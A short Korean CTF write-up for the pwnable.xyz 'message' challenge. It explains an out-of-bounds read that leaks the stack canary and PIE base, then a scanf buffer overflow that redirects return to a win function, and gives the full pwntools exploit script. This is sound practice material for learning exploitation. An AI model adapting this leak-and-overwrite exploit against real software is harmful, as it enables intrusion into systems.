pwn/pwnable.xyz

pwnable.xyz / message

lok2h4rd 2022. 5. 20. 02:12

mitigation
main

  • 메시지 수정
  • 메시지 출력
  • admin이면 플래그 출력

get_choise

get_choise함수에는 OOB가 터지는 걸로 canary랑 pie를 릭하면 된다

릭한 뒤 메시지 수정에서 scanf로 bof가 터져서 ret를 win함수로 덮어주면된다

 

from pwn import * 

p = remote("svc.pwnable.xyz", 30017)
#p = process("./message")

def leak(data):
    p.recvuntil(b"> ")
    p.sendline(bytes([data]))
    p.recvuntil(b"Error: ")
    leak = int(p.recvuntil(b" "))
    return bytes([leak])



main = 0x1a + 0x30
cnry = 0xb + 0x30
 
win = 0xab0


p.recvuntil(b"Message: ")
p.sendline(b"AAA")


canary = b"\x00"
for i in range(7):
    canary += leak(cnry + i)

canary = u64(canary)

pie = b""
for i in range(6):
    pie += leak(main + i)

pie += b"\x00\x00"
pie = u64(pie) - 0xb30

payload = b"A" * 0x28
payload += p64(canary)
payload += b"A" * 8
payload += p64(pie + win)

log.info("canary: " + hex(canary))
log.info("pie: " + hex(pie))
log.info("win: " + hex(win))

p.recvuntil(b"> ")
p.sendline(b"1")
p.recvuntil(b"Message: ")
p.sendline(payload)
p.recvuntil(b"> ")
p.sendline(b"0")

p.interactive()